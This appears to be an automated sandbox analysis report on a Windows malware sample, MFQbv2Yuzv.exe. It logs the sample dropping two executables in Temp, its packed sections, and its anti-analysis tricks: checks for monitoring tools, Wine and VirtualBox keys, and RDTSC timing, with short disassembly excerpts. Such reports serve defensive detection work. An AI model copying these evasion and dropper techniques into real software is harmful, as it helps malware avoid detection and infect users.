Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MFQbv2Yuzv.exe	ReversingLabs: Detection: 60%
Source: MFQbv2Yuzv.exe	Virustotal: Detection: 59%

Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

File read: C:\Users\user\Desktop\MFQbv2Yuzv.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\MFQbv2Yuzv.exe "C:\Users\user\Desktop\MFQbv2Yuzv.exe"
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process created: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe "C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe"
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process created: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe "C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe"
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process created: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe "C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process created: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe "C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: MFQbv2Yuzv.exe

Static file information: File size 1821184 > 1048576

Source: MFQbv2Yuzv.exe

Static PE information: Raw size of vqnwpprk is bigger than: 0x100000 < 0x194200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Unpacked PE file: 3.2.D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;aviwlvzz:EW;ondpugpz:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Unpacked PE file: 5.2.58AOE6AB3YG1SX0XN83.exe.570000.0.unpack :EW;.rsrc:W;.idata :W;wfoskafw:EW;zpagxsbp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wfoskafw:EW;zpagxsbp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: MFQbv2Yuzv.exe	Static PE information: real checksum: 0x1ca49d should be: 0x1c56bc
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: real checksum: 0x1a5c39 should be: 0x1b0692
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: real checksum: 0x2c7ddd should be: 0x2bfe0c

Source: MFQbv2Yuzv.exe	Static PE information: section name:
Source: MFQbv2Yuzv.exe	Static PE information: section name: .idata
Source: MFQbv2Yuzv.exe	Static PE information: section name:
Source: MFQbv2Yuzv.exe	Static PE information: section name: vqnwpprk
Source: MFQbv2Yuzv.exe	Static PE information: section name: ngxqgdbs
Source: MFQbv2Yuzv.exe	Static PE information: section name: .taggant
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name:
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: .idata
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name:
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: aviwlvzz
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: ondpugpz
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: .taggant
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name:
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name: .idata
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name: wfoskafw
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name: zpagxsbp
Source: 58AOE6AB3YG1SX0XN83.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_0174F312 push ss; retf	0_3_0174F313
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_0174F312 push ss; retf	0_3_0174F313
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_01736ED8 push ss; ret	0_3_01736EDA
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_01736ED8 push ss; ret	0_3_01736EDA
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DA76C push ecx; iretd	0_3_016DA771
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DA754 push esp; iretd	0_3_016DA759
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DA72B push edi; iretd	0_3_016DA741
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DA6F8 pushad ; iretd	0_3_016DA6F9
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DC733 push ebx; ret	0_3_016DC761
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DC1E0 pushad ; ret	0_3_016DC1E1
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_016DC3BA push C2016DC7h; ret	0_3_016DC3E9
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_0174F312 push ss; retf	0_3_0174F313
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_0174F312 push ss; retf	0_3_0174F313
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_01736ED8 push ss; ret	0_3_01736EDA
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Code function: 0_3_01736ED8 push ss; ret	0_3_01736EDA

Source: MFQbv2Yuzv.exe	Static PE information: section name: entropy: 7.985834501959229
Source: MFQbv2Yuzv.exe	Static PE information: section name: vqnwpprk entropy: 7.952900162157075
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: entropy: 7.793970002951595
Source: D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe.0.dr	Static PE information: section name: aviwlvzz entropy: 7.9546546835321985

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File created: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe			Jump to dropped file
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File created: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\58AOE6AB3YG1SX0XN83.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: BD7D9F second address: BD7DB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D51266 second address: D51291 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED983h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jng 00007FE580CED976h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007FE580CED976h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D50233 second address: D50237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D50771 second address: D5078A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE580CED983h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D5078A second address: D50799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FE580B2A1A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D5095E second address: D5096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FE580CED976h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D5096A second address: D50970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D50970 second address: D5098A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE580CED982h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D5305C second address: D5306F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D5317B second address: D531B6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE580CED976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 2BF7A112h 0x00000012 and ecx, dword ptr [ebp+122D2C50h] 0x00000018 lea ebx, dword ptr [ebp+1244EFABh] 0x0000001e jmp 00007FE580CED980h 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 jno 00007FE580CED978h 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D53235 second address: D532B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FE580B2A1B2h 0x0000000d jnp 00007FE580B2A1ACh 0x00000013 jnp 00007FE580B2A1A6h 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FE580B2A1A8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov si, B25Dh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007FE580B2A1A8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 jmp 00007FE580B2A1AAh 0x00000059 sbb ecx, 3BFD83E0h 0x0000005f push 58C63DB5h 0x00000064 push eax 0x00000065 push edx 0x00000066 jng 00007FE580B2A1A8h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D533F5 second address: D533FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
